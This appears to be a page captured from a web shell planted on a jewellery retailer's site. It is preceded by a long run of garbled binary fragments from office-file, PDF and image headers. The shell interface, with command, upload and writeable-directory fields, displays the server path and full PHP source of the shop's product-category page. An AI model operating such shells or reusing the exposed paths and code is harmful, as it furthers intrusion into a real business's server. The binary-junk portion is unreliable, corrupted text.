œ_#ÁÕ§TE NAŒ“KeÉ:”(åŽÖJÞùY’‚ñùž7; «]Û ý`8g“¯B© jd ÖÖ¸ðzœ¸¦4Ç3Kó^(ÍÖ¼ Õ€pvìwšõB4d f$Èü^0˜…åÌC$#2FŽÑ§±¦ÛZ/÷š&m£ñzÒÖ ’.Î]!Î;ƒ(Õ–¢d/—#Kª+tZyuÏB>NÛÖ†(¸ŒSà'³„Y˜´-_•¦¼´˜OlNK§¶ÒàŠˆTHµƒeTPå·fïM’…þuÏÍüp6دªE£åü‡ZØ'CKF#â«;‹eyO Qp„†l"ö1èíÙP ÏŒúl! BÝ2ñª•_VÁÉ÷3eu`–F¸ìI--ö<¿žë¯4õ캿¢)34Å{wMÉ2ÆÖFŸ¥` e9Ú¶¸P‡.”FÔï rY ‚²ÈTB,{ÛœéJ}«àQ4¹0Rû4D‚B§S‘ dO•v¾„™Sן¯3FeŸ™«+ÓâwH dÕÛÌì·P4ë&¥#rÜÉ Ù¦ê†ý·xòqk¯2,¹§™E\­ék‚×SᔏںÙ⺷ö£6…à ʾ qSá³Å|;àû}4Ÿ($â¹VY~óÍ!èÜÒŒËX½Ù1j‚VíÍŸš³+œ]«½g{_{/vµ½\¢¶vÉWKÿ:ñám½ ¥ S²x‘t ŽšÝÙÿÀÇ^ný PK   IW™k‚½÷ á  _rels/.relsUT dìd dìd dìd­’ÏNÃ0 ‡ï{ŠÈ÷ÕÝ@¡¥» ¤Ý*`%îÑ&QâÁöö‚J£ì°cœŸ¿|¶²ÙÆA½rL½wVE Šñ¶w­†çúay * 9Kƒw¬áÈ ¶ÕbóÄIîI]’Ê—4t"á1™ŽGJ…ìòMããH’±Å@æ…ZÆuYÞ`üÍ€jÂT;«!îì T} |Û7MoøÞ›ýÈNN<|v–í2ÄÜ¥ÏèšbË¢Ázó˜Ë )„"£O­Ï7ú{ZYÈ’yÞç#1'tuÉM?6o>Z´_å9›ëKÚ˜}?þ³žÏÌ·N>fµx PK    IWª½e  ¢ U  € word/document.xmlUT dìdPK    IWþË3” z  €J¢ word/settings.xmlUT dìdPK    IWC‡{š' ƒ  €¤ docProps/custom.xmlUT dìdPK    IW츱=Œ   €‡¥ [Content_Types].xmlUT dìdPK    IWV%ë±"   €U§ docProps/app.xmlUT dìdPK    IW€RŒ 3  €¶¨ docProps/core.xmlUT dìdPK    IWkòDn ô  €ª word/_rels/document.xml.relsUT dìdPK    IW ;$î   €Î« word/fontTable.xmlUT dìdPK    IW+åäz] ÷.  €ý¬ word/numbering.xmlUT dìdPK    IW¤2×r- ¿  €›° word/styles.xmlUT dìdPK    IWMFÒ ø  €´ word/header1.xmlUT dìdPK    IWF— T e  €· word/media/image1.jpegUT dìdPK    IW!Yéáå   €°Ë word/media/image2.pngUT dìdPK    IW°Àºë ú  €ÙÌ word/media/image3.pngUT dìdPK    IW$“†ª L  €Î word/footer1.xmlUT dìdPK    IWzaGôM   €ñÑ word/footer2.xmlUT dìdPK    IW–µ­âº P  €}Õ word/theme/theme1.xmlUT dìdPK    IW™k‚½÷ á €{Û _rels/.relsUT PK   ! bîh^   [Content_Types].xml ¢(   ¬”ËNÃ0E÷HüCä-Jܲ@5í‚Ç*Q>Àēƪc[žiiÿž‰ûB¡j7±ÏÜ{2ñÍh²nm¶‚ˆÆ»R ‹ÈÀU^7/ÅÇì%¿’rZYï @1__f› ˜q·ÃR4DáAJ¬h>€ãÚÇV߯¹ ªZ¨9ÈÛÁàNVÞ8Ê©ÓãÑÔji){^óã-I‹"{Üv^¥P!XS)bR¹rú—K¾s(¸3Õ`cÞ0†½ÝÎß»¾7M4²©ŠôªZƐk+¿|\|z¿(Ž‹ôPúº6h_-[ž@!‚ÒØ Pk‹´­2nÏ}Ä?£LËð Ýû%áÄßdºždN"m,à¥ÇžDO97*‚~§Èɸ8ÀOíc|n¦Ñ äEøÿöéºóÀBÉÀ!$}‡íàÈé;{ìÐå[ƒîñ–é2þ ÿÿ PK   ! µU0#ô L _rels/.rels ¢(   ¬’MOÃ0 †ïHü‡È÷ÕݐBKwAH»!T~€Iܵ£$Ý¿'TƒG½~üÊÛÝ<êÈ!öâ4¬‹;#¶w­†—úqu *&r–Fq¬áÄvÕõÕö™GJy(v½*«¸¨¡KÉß#FÓñD±Ï.W ¥†=™ZÆMYÞbø®ÕBSí­†°·7 ê“Ï›×–¦é ?ˆ9LìÒ™ÈsbgÙ®|Èl!õùUSh9i°bžr:"y_dlÀóD›¿ý|-NœÈR"4ø2ÏGÇ% õZ´4ñ˝yÄ7 ëÈðÉ‚‹¨Þ ÿÿ PK   ! Q48wÛ —  xl/workbook.xml¤UÙnâ0}iþ!cñ‡ *–¢AšVU×$dC¬&vÆv UÕŸë@XÊK§/¹p|Žï¹N÷b“¥Ö •Š ÞC¸î"‹òHÄŒ¯zèá~b·‘¥4á1I§=ôJºèÿüÑ] ù¼âÙ ®z(Ñ:GE ͈ª‹œrˆ,…̈†©\9*—”Ä*¡Tg©ã¹nàd„q´Eåg0ÄrÉ":Q‘Q®· ’¦D}•°\UhYô¸ŒÈç"·#‘å ±`)Ó¯%(²²(œ®¸d‘‚ì nZ w v¡ñª• t¶TÆ")”Xê:@;[Ògú±ë`|²›ó=ø’ïHúÂL÷¬dðEVÁ+8€a÷Ûh¬Uz%„Íû"ZsÏÍCýî’¥ôqk]‹äù5ÉL¦Rd¥Dé˘i÷P ¦bM/|dÉ",…¨çãFNoçiûéë>aêiçsó#ðÄ ÕTr¢éHp ÜIú®ÝJìQ"ÀÜÖ-ý[0I¡¦ÀZ Z…d¡nˆN¬B¦=4 g %PDF-1.4 %âãÏÓ 3 0 obj << /Linearized 1 /L 422775 ÿØÿà JFIF    ÿÛ C      ÿÛ C   ÿÀ  X" ÿÄ    ÿÄ H   !1A"Qaq2‘¡#±ÁBRÑ3Cbrá$S‚¢²ð4ñ%6DTc’ÂsÿÄ   ÿÄ =  !1AQ"aq‘Á2R¡±BÑð#3br’²4á$‚¢ÂñÿÚ   ? áHBßÝ`„! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! ! stream

___________________________ < root@rinduuu:~# /home/rinduuuuuuu?! > ___________________________

Command :

ikan Uploader :
Directory :  /home/ni05r7l36tus/www/poojajewellersbbsr.com/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //home/ni05r7l36tus/www/poojajewellersbbsr.com/productmaincategory.php
<?php
include 'connection/config.php';
include"cart-handler.php";
$customer_id = isset($_SESSION['customer_id']) ? intval($_SESSION['customer_id']) : 0;
// Fetch allorders for the customer
$stmt = $pdo->prepare("SELECT * FROM allorders WHERE customer_id = :customer_id ORDER BY created_at DESC");
$stmt->execute([':customer_id' => $customer_id]);
$allorders = $stmt->fetchAll();
    

$stmt = $pdo->prepare("SELECT * FROM store_locations");
$stmt->execute();
$store_locations = $stmt->fetch(PDO::FETCH_ASSOC);

// Fetch allorders for the customer
$stmt = $pdo->prepare("SELECT * FROM allorders WHERE customer_id = :customer_id ORDER BY created_at DESC");
$stmt->execute([':customer_id' => $customer_id]);
$allorders = $stmt->fetchAll();
?> 
<?php

        $stmt = $pdo->prepare("SELECT * FROM store_locations");
        $stmt->execute();
        $store_locations = $stmt->fetch(PDO::FETCH_ASSOC);
        ?>
<!DOCTYPE html>
<html lang="en">
<head>
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
        <meta name="viewport" content="width=device-width,initial-scale=1">
        <title>Pooja Jewellers Bhubaneswar – Elegant Gold, Silver & Fancy Jewellery</title>
        <meta name="description" content="Veppo is a sleek, modern jewelry eCommerce HTML template built with Bootstrap. Perfect for luxury brands, boutiques & online stores.">
        <meta name="keywords" content="jewelry, eCommerce, bootstrap, HTML template, luxury, fashion, rings, bracelets, necklaces, shop">
        <meta name="author" content="spacingtech_webify">
         <link rel="shortcut icon" type="image/favicon" href="assets/image/fav.jpg">
        <!-- plugin css -->
        <link rel="stylesheet" type="text/css" href="assets/css/plugin.css">
        <!-- theme css -->
        <link rel="stylesheet" type="text/css" href="assets/css/theme3.css">
        <!-- collection css -->
        <link rel="stylesheet" type="text/css" href="assets/css/collection.css">
        <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
        <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/swiper@9/swiper-bundle.min.css" />
         <script src="https://cdn.jsdelivr.net/npm/swiper@9/swiper-bundle.min.js"></script>

    </head>
    <body>
        <!-- preloader start -->
        <div class="preloader position-fixed top-0 start-0 w-100 h-100 body-bg z-index-5">
            <div class="loader-img position-absolute top-0 start-0 w-100 h-100 d-flex align-items-center justify-content-center">
                <img src="assets/image/headerlogo.webp" class="width-96 width-xl-144 img-fluid" alt="logo">
            </div>
        </div>
        <!-- preloader end -->
        <!-- header start -->
        <header id="header" class="main-header">
            <!-- header-top start -->
            <div class="header-top-area">
                <!-- notification-bar start -->
                <div class="notification-bar ptb-10 dominant-bg">
                    <div class="container-fluid d-none d-xl-block">
                        <div class="text-center extra-color">First Order 20% Off on Fancy Jewellery <a href="product_category.php?slug=Fancy jewellery" class="extra-color text-uppercase text-decoration-underline blinking">Shop now</a>!</div>
                    </div>
                </div>
                <!-- notification-bar end -->
                 <!-- header-bar start -->
                <div class="header-bar d-none d-xl-block ptb-11 extra-bg beb">
                    <div class="container-fluid">
                        <div class="row">
                            <div class="col">
                                <ul class="ul-mt30 justify-content-start">
                                    <li>
                                        <span class="d-inline-block body-secondary-color">
                                            <a href="mailto:<?php echo $store_locations['email1']; ?>">
                                                <i class="ri-mail-line icon-16 mer-5"></i><?php echo $store_locations['email1']; ?>
                                            </a>
                                        </span>
                                    </li>
                                    <li>
                                        <span class="d-inline-block body-secondary-color">
                                            <a href="tel:<?php echo $store_locations['phone1']; ?>">
                                                <i class="ri-phone-line icon-16 mer-5"></i><?php echo $store_locations['phone1']; ?>
                                            </a>
                                        </span>
                                    </li>
                                </ul>
                            </div>

                            <div class="col">
                                <ul class="ul-mt30 justify-content-end">
                                    <li>
                                    <span class="d-inline-block body-secondary-color">
                                        <a href="calender.php">
                                        <i class="ri-calendar-event-fill icon-16 mer-5"></i>Calender
                                        </a>
                                    </span>
                                    </li>
                                    <li>
                                    <span class="d-inline-block body-secondary-color text-dark">
                                         <a href="javascript:void(0)" 
                                          data-bs-toggle="modal" 
                                          data-bs-target="#goldCalculatorModal" 
                                          class="nav-link">
                                          <i class="ri-calculator-line icon-16 mer-5"></i> Calculator
                                        </a>
                                    </span>
                                    </li>
                                </ul>
                            </div>
                        </div>
                    </div>
                </div>
                <!-- header-bar end -->
                <!-- header-top-first start -->
                <div class="header-top-first ptb-15 ptb-xl-20 position-relative extra-bg">
                    <div class="container-fluid">
                        <div class="row align-items-center header-area">
                            <!-- header-logo start -->
                            <div class="col-6 col-xl-2 header-element header-logo">
                                <div class="header-theme-logo">
                                    <a href="index.php" class="d-inline-block theme-logo">
                                        <img src="assets/image/headerlogo.webp" class="width-96 width-xl-144 img-fluid" alt="logo">
                                    </a>
                                </div>
                            </div>
                            <!-- header-logo end -->
                            <?php include "common/header.php"; ?>
                            <!-- header-menu end -->
                            <!-- header-icon start -->
                            <div class="col-6 col-xl-2 header-element header-icon">
                                <div class="header-icon-block d-flex justify-content-end">
                                    <ul class="ul-mt30 flex-nowrap align-items-center header-icon-element">
                                        <li class="header-icon-wrap toggler-wrap d-xl-none">
                                            <div class="header-icon-wrapper">
                                                <a href="javascript:void(0)" class="d-block header-icon-toggler toggler-btn" aria-label="Menu toggler button">
                                                    <span class="d-block header-block-icon dominant-link icon-16"><i class="ri-menu-line"></i></span>
                                                </a>
                                            </div>
                                        </li>
                                        <li class="header-icon-wrap search-wrap d-xl-none">
                                            <div class="header-icon-wrapper">
                                                <a href="#searchmodal" class="d-block header-icon-search" data-bs-toggle="modal" aria-label="Search modal">
                                                    <span class="d-block header-block-icon dominant-link icon-16"><i class="ri-search-line"></i></span>
                                                </a>
                                            </div>
                                        </li>
                                        <li class="header-icon-wrap user-wrap d-none d-md-block">
                                            <div class="header-icon-wrapper">
                                               
                                                     <span class="header-block-icon-wrap dominant-link ul-mt5 flex-nowrap align-items-center">
                                                        <span class="header-block-icon icon-16"><i class="ri-user-3-line"></i></span>
                                                        <span class="d-none d-xl-block header-text-content">
                                                            <?php if ($customerName): ?>
                                                                <a href="dashboard.php"><b><?= htmlspecialchars($customerName) ?></b></a>
                                                            <?php else: ?>
                                                                <a href="login.php">Login</a>
                                                            <?php endif; ?>
                                                        </span>
                                                    </span>
                                                    
                                            </div>
                                        </li>
                                        <li class="header-icon-wrap cart-wrap d-none d-md-block">
                                            <div class="header-icon-wrapper">
                                                <a href="javascript:void(0)" class="d-block header-icon-cart js-cart-drawer">
                                                    <span class="header-block-icon-wrap dominant-link ul-mt5 flex-nowrap align-items-center">
                                                    <span class="header-block-icon icon-16"><i class="ri-shopping-bag-3-line"></i></span>
                                                    <span class="d-none d-xl-block header-text-content">Cart</span>
                                                    <?php
                                                    $cartCount = 0;
                                                    if (isset($_SESSION['cart'])) {
                                                        $cartCount += count($_SESSION['cart']);
                                                    }
                                                    if (isset($_SESSION['rentals'])) {
                                                        $cartCount += count($_SESSION['rentals']);
                                                    }

                                                    // Show the counter only if there’s something in cart
                                                    if ($cartCount > 0) {
                                                        echo '<span class="header-block-counter cart-counter dominant-color">' . $cartCount . '</span>';
                                                    }
                                                    ?>
                                                </span>
                                                </a>
                                            </div>
                                        </li>
                                    </ul>
                                </div>
                            </div>
                            <!-- header-icon end -->
                        </div>
                    </div>
                </div>
                <!-- header-top-first end -->
            </div>
            <!-- header-top end -->
        </header>
        <!-- header end -->
<?php
include 'connection/config.php';

// ======================
// Get Filters & Pagination
// ======================
$product_name = isset($_GET['productname']) ? trim($_GET['productname']) : '';
$sub_ids = isset($_GET['sub']) ? array_map('intval', explode(',', $_GET['sub'])) : [];
$min_price = isset($_GET['min-price']) ? floatval($_GET['min-price']) : 0;
$max_price = isset($_GET['max-price']) ? floatval($_GET['max-price']) : 300000;
$selected_ranges = isset($_GET['price']) ? (array)$_GET['price'] : []; // checkbox ranges
$page = isset($_GET['page']) ? (int)$_GET['page'] : 1;
$limit = 9;
$offset = ($page - 1) * $limit;

// ======================
// Get main_category_id based on product name
// ======================
$main_id = 0;
if (!empty($product_name)) {
    $stmtMain = $pdo->prepare("SELECT id FROM main_categories WHERE name = ? LIMIT 1");
    $stmtMain->execute([$product_name]);
    $main_id = $stmtMain->fetchColumn();
}

if (!$main_id) {
    // No main category found, return empty result
    $products = [];
    $totalProducts = 0;
    $totalPages = 0;
} else {
    // ======================
    // Build WHERE conditions
    // ======================
    $params = [$main_id];
    $where = "p.main_category_id = ?";

    // Subcategory filter
    if (!empty($sub_ids)) {
        $placeholders = implode(',', array_fill(0, count($sub_ids), '?'));
        $where .= " AND p.sub_category_id IN ($placeholders)";
        $params = array_merge($params, $sub_ids);
    }

    // Price filter
    $where .= " AND ((ps.price BETWEEN ? AND ?) OR (pr.rental_amount BETWEEN ? AND ?))";
    $params[] = $min_price;
    $params[] = $max_price;
    $params[] = $min_price;
    $params[] = $max_price;

    // Checkbox ranges
    if (!empty($selected_ranges)) {
        $range_sql = [];
        foreach ($selected_ranges as $range) {
            if (strpos($range, '+') !== false) {
                $val = intval(str_replace('+', '', $range));
                $range_sql[] = "((ps.price >= ?) OR (pr.rental_amount >= ?))";
                $params[] = $val;
                $params[] = $val;
            } else {
                [$rmin, $rmax] = explode('-', $range);
                $range_sql[] = "((ps.price BETWEEN ? AND ?) OR (pr.rental_amount BETWEEN ? AND ?))";
                $params[] = intval($rmin);
                $params[] = intval($rmax);
                $params[] = intval($rmin);
                $params[] = intval($rmax);
            }
        }
        $where .= " AND (" . implode(" OR ", $range_sql) . ")";
    }

    // ======================
    // Count total products
    // ======================
    $count_sql = "SELECT COUNT(DISTINCT p.product_id) FROM products p
                  LEFT JOIN product_sales ps ON p.product_id = ps.product_id
                  LEFT JOIN product_rentals pr ON p.product_id = pr.product_id
                  WHERE $where";
    $stmtCount = $pdo->prepare($count_sql);
    $stmtCount->execute($params);
    $totalProducts = $stmtCount->fetchColumn();
    $totalPages = ceil($totalProducts / $limit);

    // ======================
    // Fetch products
    // ======================
    $sql = "SELECT DISTINCT p.*, mc.name AS main_category_name, 
                   ps.price AS sale_price, ps.mrp AS sale_mrp, ps.sku_code, 
                   pr.rental_amount, pr.deposit_amount, pr.rental_duration
            FROM products p
            LEFT JOIN main_categories mc ON p.main_category_id = mc.id
            LEFT JOIN product_sales ps ON p.product_id = ps.product_id
            LEFT JOIN product_rentals pr ON p.product_id = pr.product_id
            WHERE $where
            LIMIT $limit OFFSET $offset";

    $stmt = $pdo->prepare($sql);
    $stmt->execute($params);
    $products = $stmt->fetchAll(PDO::FETCH_ASSOC);
}
?>


<?php
// ============================
// Fetch main & subcategory names
// ============================
$mainCategoryName = $products[0]['main_category_name'] ?? '';
$subCategoryName = '';
$subCategoryId = $products[0]['sub_category_id'] ?? 0;

if (!empty($subCategoryId)) {
    $stmtSub = $pdo->prepare("SELECT name FROM sub_categories WHERE id = ?");
    $stmtSub->execute([$subCategoryId]);
    $subCategory = $stmtSub->fetch(PDO::FETCH_ASSOC);
    $subCategoryName = $subCategory['name'] ?? '';
}
?>

<!-- breadcrumb-area start -->
<div class="breadcrumb-area ptb-15" data-bgimg="assets/image/other/breadcrumb-bgimg.jpg">
    <div class="container">
        <span class="d-block extra-color"><a href="index.php" class="extra-color">Home</a> / <?= htmlspecialchars($mainCategoryName) ?> / <?= htmlspecialchars($subCategoryName) ?></span>
    </div>
</div>
<!-- breadcrumb-area end -->

<main id="main">
    <section class="shop-content section-ptb">
        <div class="container">
            <div class="row align-items-xl-start">
                <?php include "common/sidebar.php"; ?>

                <div class="col-12 col-xl-9 p-xl-sticky top-0">
                    <div class="row row-mtm" data-animate="animate__fadeIn">
                        <div class="collection-img">
                            <img src="assets/image/Gold,Silver & Fancy.jpg" class="w-100 img-fluid border-radius" alt="collection-banner">
                        </div>

                        <div class="shop-top-bar">
                            <div class="row row-mtm15 align-items-md-center">
                                <div class="col-12 col-sm-6 col-md-7 col-lg-8">
                                    <div class="shop-filter-view ul-mt15 align-items-center">
                                        <div class="shop-filter">
                                            <button type="button" class="shop-filter-btn secondary-color d-flex align-items-center"><i class="ri-filter-line icon-16 mer-5"></i>Filter</button>
                                        </div>
                                        <div class="shop-view-mode">
                                            <div class="ul-mt10">
                                                <button type="button" class="shop-view-btn dominant-color icon-16 opacity-100 disabled" data-view="grid" aria-label="Grid view"><i class="ri-layout-grid-line"></i></button>
                                            </div>
                                        </div>
                                        <div class="shop-show-product text-dark"><?= htmlspecialchars($mainCategoryName) ?> (<?= $totalProducts ?>)</div>
                                    </div>
                                </div>
                            </div>
                        </div> 

                        <div class="shop-product-wrap data-grid">
                            <div class="row row-mtm30">
                                <?php
                                if ($products) {
                                    foreach ($products as $product) {
                                        $isRental = intval($product['is_rental']) === 1;
                                        $sku = $product['sku_code'] ?? 'N/A';
                                        ?>
                                        <div class="col-6 col-md-4 d-flex shop-col" data-animate="animate__fadeIn">
                                            <div class="single-product w-100">
                                                <div class="row single-product-wrap">
                                                    <div class="product-image">
                                                        <a href="product_details.php?id=<?= urlencode($product['product_id']) ?>" class="pro-img">
                                                            <img src="<?= htmlspecialchars($product['thumbnail_image']) ?>" class="w-100 img-fluid img1" style="height:450px;" alt="<?= htmlspecialchars($product['product_name']) ?>">
                                                            <img src="<?= htmlspecialchars($product['thumbnail_image']) ?>" class="w-100 img-fluid img2" style="height:450px;" alt="<?= htmlspecialchars($product['product_name']) ?>">
                                                            <?php if ($isRental): ?>
                                                                <span class="product-label product-label-hot product-label-left">For Rent</span>
                                                            <?php else: ?>
                                                                <span class="product-label product-label-new product-label-left">New</span>
                                                            <?php endif; ?>
                                                        </a>
                                                        <div class="product-action">
                                                            <a href="#quickview-modal<?= $product['product_id'] ?>" data-bs-toggle="modal" class="quick-view">
                                                                <span class="product-icon">Quickview</span>
                                                            </a>
                                                        </div>
                                                    </div>

                                                    <div class="product-content">
                                                        <div class="pro-content">
                                                            <div class="pro-content-action">
                                                                <div class="product-title mb-3">
                                                                    <span class="d-block meb-8"><?= htmlspecialchars($product['main_category_name']) ?></span>
                                                                    <span class="d-block heading-weight">
                                                                        <a href="product_details.php?id=<?= urlencode($product['product_id']) ?>" class="d-block w-100 dominant-link text-truncate"><?= htmlspecialchars($product['product_name']) ?></a>
                                                                    </span>
                                                                </div>

                                                                <div class="pro-price-action">
                                                                    <div class="price-box heading-weight">
                                                                        <?php if (!$isRental): ?>
                                                                            <span class="new-price dominant-color">₹<?= htmlspecialchars(number_format($product['sale_price'] ?? 0, 2)) ?></span>
                                                                            <?php if (!empty($product['sale_mrp'])): ?>
                                                                                <span class="old-price text-decoration-line-through">₹<?= htmlspecialchars(number_format($product['sale_mrp'], 2)) ?></span>
                                                                            <?php endif; ?>
                                                                        <?php else: ?>
                                                                            <span class="new-price dominant-color">
                                                                                ₹<?= htmlspecialchars(number_format($product['rental_amount'] ?? 0, 2)) ?> / <?= htmlspecialchars($product['rental_duration'] ?? 0) ?> Days
                                                                            </span>
                                                                        <?php endif; ?>
                                                                    </div>

                                                                    <div class="product-action">
                                                                        <?php if (!$isRental): ?>
                                                                            <button class="add-to-cart-btn" data-product-id="<?= htmlspecialchars($product['product_unique_id']) ?>">
                                                                                <span class="product-icon">
                                                                                    <span class="product-bag-icon icon-16"><i class="ri-shopping-bag-3-line d-block lh-1"></i></span>
                                                                                </span>
                                                                                <span class="tooltip-text">Add to Cart</span>
                                                                            </button>
                                                                        <?php else: ?>
                                                                            <button class="rent-now-btn" data-product-id="<?= htmlspecialchars($product['product_unique_id']) ?>">
                                                                                <span class="product-icon">
                                                                                    <span class="product-bag-icon icon-16"><i class="ri-calendar-line d-block lh-1"></i></span>
                                                                                </span>
                                                                                <span class="tooltip-text">Rent Now</span>
                                                                            </button>
                                                                        <?php endif; ?>
                                                                    </div>
                                                                </div>
                                                            </div>

                                                            <div class="product-description">
                                                                <p><?= htmlspecialchars($product['short_description'] ?? 'No description available.') ?></p>
                                                            </div> 
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                        <?php
                                    }
                                } else {
                                    echo "<p>No products found for this category.</p>";
                                }
                                ?>
                            </div>

                          <!-- ✅ Dynamic Pagination -->
                            <?php if ($totalPages > 1): ?>
                                <div class="paginatoin-area section-pt" data-animate="animate__fadeIn">
                                    <nav aria-label="Page navigation example">
                                        <ul class="pagination ul-mt5 align-items-center justify-content-center pagination-box">
                                            
                                            <!-- First Page -->
                                            <li class="page-item first">
                                                <a href="?productname=<?= urlencode($product_name) ?>&<?php if(!empty($sub_ids)) echo 'sub=' . implode(',', $sub_ids) . '&'; ?>page=1" class="page-link p-0 m-0 bg-transparent heading-weight border-0 lh-1">First</a>
                                            </li>

                                            <!-- Previous Page -->
                                            <li class="page-item prev">
                                                <a href="?productname=<?= urlencode($product_name) ?>&<?php if(!empty($sub_ids)) echo 'sub=' . implode(',', $sub_ids) . '&'; ?>page=<?= max(1, $page - 1) ?>" class="page-link icon-16 d-flex align-items-center justify-content-center p-0 m-0 bg-transparent heading-weight border-0 border-radius">
                                                    <i class="ri-arrow-left-line d-block lh-1"></i>
                                                </a>
                                            </li>

                                            <!-- Page Numbers -->
                                            <?php for ($i = 1; $i <= $totalPages; $i++): ?>
                                                <li class="page-item">
                                                    <a href="?productname=<?= urlencode($product_name) ?>&<?php if(!empty($sub_ids)) echo 'sub=' . implode(',', $sub_ids) . '&'; ?>page=<?= $i ?>" class="page-link d-flex align-items-center justify-content-center p-0 m-0 heading-weight border-0 border-radius lh-1 <?= ($i == $page ? 'active' : '') ?>">
                                                        <?= $i ?>
                                                    </a>
                                                </li>
                                            <?php endfor; ?>

                                            <!-- Next Page -->
                                            <li class="page-item next">
                                                <a href="?productname=<?= urlencode($product_name) ?>&<?php if(!empty($sub_ids)) echo 'sub=' . implode(',', $sub_ids) . '&'; ?>page=<?= min($totalPages, $page + 1) ?>" class="page-link icon-16 d-flex align-items-center justify-content-center p-0 m-0 bg-transparent heading-weight border-0 border-radius">
                                                    <i class="ri-arrow-right-line d-block lh-1"></i>
                                                </a>
                                            </li>

                                            <!-- Last Page -->
                                            <li class="page-item last">
                                                <a href="?productname=<?= urlencode($product_name) ?>&<?php if(!empty($sub_ids)) echo 'sub=' . implode(',', $sub_ids) . '&'; ?>page=<?= $totalPages ?>" class="page-link p-0 m-0 bg-transparent heading-weight border-0 lh-1">Last</a>
                                            </li>

                                        </ul>
                                    </nav>
                                </div>
                            <?php endif; ?>

                        </div>
                    </div>
                </div>
            </div>
        </div>
    </section>
</main>
<?php include "common/footer.php";?> 

........